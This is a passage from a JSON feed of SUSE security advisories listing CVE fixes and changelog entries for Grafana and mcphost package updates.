CVE-2026-28374: Fix insecure direct object reference in\n    Annotations API (bsc#1265290)\n  * CVE-2026-28376: Fix unbounded memory allocation in Grafana Live\n    push endpoint (bsc#1265289)\n  * CVE-2026-28383: Fix unbounded memory allocation in Grafana\n    plugin resources (bsc#1265286)\n  * CVE-2026-28380: Fix broken access control in Snapshot API\n    (bsc#1265287)\n  * CVE-2026-33376: Fix Auth Proxy IPv6 whitelist bypass\n    (bsc#1265285)\n  * CVE-2026-28379: Fix viewer-triggered race condition in\n    Grafana Live (bsc#1265288)\n  * CVE-2026-33377: Fix dashboard Editor Privilege Escalation\n    (bsc#1265284)\n  * CVE-2026-33378: Fix OOM exception in Grafana Data Source Plugin\n    (bsc#1265283)\n  * CVE-2026-33381: Prevent users from generating Service Account\n    tokens after permissions removal (bsc#1265281)\n  * CVE-2026-33380: Fix vulnerability in SQL Expressions allowing\n    an authenticated attacker to read arbitrary files from the\n    Grafana server’s filesystem (bsc#1265282)\n\n- CVE-2026-34986: Fix panic in JWE decryption (bsc#1262950)\n- CVE-2026-41602: Fix Integer Overflow or Wraparound vulnerability\n  in Apache Thrift (bsc#1263501)\n\n- CVE-2026-26958: Bump filippo.io/edwards25519 to version 1.1.1\n  (bsc#1258595)\n- CVE-2026-21725: Fix missing UID when deleting datasource by name\n  (bsc#1258873)\n\n- Update to version 11.6.14+security-01:\n  Security:\n  * CVE-2026-33375: Fix denial of Service via out-of-memory\n    exhaustion in MSSQL data source plugin (bsc#1260881)\n\n- Update to version 11.6.14:\n  Security:\n  * CVE-2026-27876: Fix remote arbitrary code execution via chained\n    SQL Expressions (bsc#1261025)\n  * CVE-2026-27877: Fix information disclosure of data-source\n    passwords via public dashboards (bsc#1261026)\n  * CVE-2026-28375: Fix denial of service via testdata data-source\n    (bsc#1261029)\n  * CVE-2026-27879: Fix denial of service via resample query\n    (bsc#1261027)\n  * CVE-2026-33186: Fix authorization bypass due to improper\n    validation of the HTTP/2 :path pseudo-header (bsc#1260263)\n  * CVE-2026-21724: Fix authorization bypass allows modification of\n    protected webhook URLs (bsc#1260878)\n\n- Update to version 11.6.13:\n  Enhancement:\n  * Wire the public dashboard service to the HTTP server\n\n- Update to version 11.6.12:\n  Enhancement:\n  * Update authentication redirect logic\n  Bug fix:\n  * Fix single panel render with variable references\n","status":"published","published":"2026-06-10T12:02:03Z","modified":"2026-06-13T18:24:19.477495413Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2026:21756-1","title":"Security update for mcphost","description":"This update for mcphost fixes the following issues\n\n- CVE-2025-30153: github.com/getkin/kin-openapi/openapi3filter: Improper Handling of Highly Compressed Data (Data\n  Amplification) in github.com/getkin/kin-openapi/openapi3filter (bsc#1264762).\n- CVE-2025-47913: golang.org/x/crypto/ssh/agent: client process termination when receiving an unexpected message type in\n  response to a key listing or (bsc#1265274).\n- CVE-2025-47914: golang.org/x/crypto/ssh/agent: non validated message size can cause a panic due to an out of bounds\n  read (bsc#1265275).\n- CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption\n  (bsc#1253952).\n- CVE-2026-32285: github.com/buger/jsonparser: denial of service via malformed JSON input (bsc#1264759).\n- CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2: path pseudo-\n  header (bsc#1260224).\n\nChanges for mcphost:\n\n- Updated to version 0.34.0\n * Features:\n - Upgrade charmbracelet libs to v2 (bubbletea, lipgloss, bubbles)\n - Add Google Vertex AI support for Claude models\n - Add new models.\n * Fixes:\n - Eliminate escape sequence leak from spinner tea.Program instances.\n - Fix anthropic api issue.\n - Convert JSON Schema draft-07 exclusive bounds to draft-04 format.\n * Upgrade all dependencies to latest versions, resolve security issues\n and to obtain Go 1.26 compatibility.\n","status":"published","published":"2026-05-22T11:51:53Z","modified":"2026-05-27T18:24:07.332563693Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:21827-1","title":"Security update for mcphost","description":"This update for mcphost fixes the following issues\n\n- CVE-2025-30153: github.com/getkin/kin-openapi/openapi3filter: Improper Handling of Highly Compressed Data (Data\n  Amplification) in github.com/getkin/kin-openapi/openapi3filter (bsc#1264762).\n- CVE-2025-47913: golang.org/x/crypto/ssh/agent: client process termination when receiving an unexpected message type in\n  response to a key listing or (bsc#1265274).\n- CVE-2025-47914: golang.org/x/crypto/ssh/agent: non validated message size can cause a panic due to an out of bounds\n  read (bsc#1265275).\n- CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption\n  (bsc#1253952).\n- CVE-2026-32285: github.com/buger/jsonparser: denial of service via malformed JSON input (bsc#1264759).\n- CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2: path pseudo-\n  header (bsc#1260224).\n\nChanges for mcphost:\n\n- Updated to version 0.34.0\n * Features:\n - Upgrade charmbracelet libs to v2 (bubbletea, lipgloss, bubbles)\n - Add Google Vertex AI support for Claude models\n - Add new models.\n * Fixes:\n - Eliminate escape sequence leak from spinner tea.Program instances.\n - Fix anthropic api issue.\n - Convert JSON Schema draft-07 exclusive bounds to draft-04 format.\n * Upgrade all dependencies to latest versions, resolve security issues\n and to obtain Go 1.26 compatibility.\n","status":"published","published":"2026-05-22T11:51:53Z","modified":"2026-05-28T18:24:16.268511649Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:3718-1","title":"Security update for grafana","description":"This update for grafana fixes the following issues:\n\ngrafana updated from version 11.6.14+security04 to version 12.4.5:\n\nSecurity fixes:\n\n- CVE-2026-39882: Prevent memory exhaustion DoS in OpenTelemetry OTLP HTTP exporters (bsc#1274217)\n- CVE-2026-33382: Limit the size of the request body before processing it at several Grafana API endpoints (bsc#1271331)\n- CVE-2025-12141: Fixed information leakage in Grafana Alerting (bsc#1262187)\n- CVE-2026-41607: Fix potential information disclosure in Apache Thrift (bsc#1263272)\n\nBreaking chahnges introduced in version 12.0.0:\n\n- BREAKING: Removed AngularJS and all deprecated UI Extensions  APIs.\n- BREAKING: Enforced stricter version compatibility checks in plugin CLI install commands.\n- BREAKING: Enabled the failWrongDSUID feature flag by default, which rejects data sources with incorrect UIDs.\n\nOther changes introduced from version 11.6.14+security04 to version 12.4.5 (jsc#PED-16512):\n\n- Add Legal-Review-Notice (bsc#1271327)\n- Datasources: return 400 when payload UID does not match URL UID in PUT /api/datasources/uid/:uid\n- Analytics: Keep internal dashboard id.\n- Reporting: Correctly apply appSubURL to report settings requests\n- Alerting: Document Grafana HA Alertmanager cluster metrics prefix change.\n- Dependency updates to core plugins and UI libraries.\n- Updates to data source provisioning and dashboard schemas.\n- Introduced dynamic dashboards in public preview.\n- Added a new side toolbar that replaces the second top toolbar to provide additional vertical space.\n- Added the ability to create dashboards from templates using sample data.\n- Revamped the gauge visualization with rounded bars, configurable bar thickness, and endpoint markers.\n- Added support to map one variable to multiple values.\n- Released a completely redesigned logs visualization.\n- Added the ability to export dashboards directly as PNG images.\n- Introduced an interactive learning experience within the Grafana UI.\n- Added a Switch template variable type to quickly toggle between values in queries.\n- Added functionality to style table cells using CSS properties via the field cell option.\n- Added support for Entra Workload Identity to enhance authentication capabilities with federated credentials.\n- Redesigned the alert rule list page.\n- Renamed Mute Timings to Active Time Intervals in Grafana Alerting.\n- Added support for Service Account Impersonation in the BigQuery data source.\n- Introduced the Grafana Advisor in public preview.\n- Introduced a new dashboard schema to replace the original single grid layout.\n- MIGRATION: Triggered a full-table rewrite for the annotation table, which may temporarily increase disk usage.\n","status":"published","published":"2026-08-24T09:23:40Z","modified":"2026-08-26T18:23:35.632543325Z","updated_at":"2026-11-02T15:54:05.392906Z"}]}}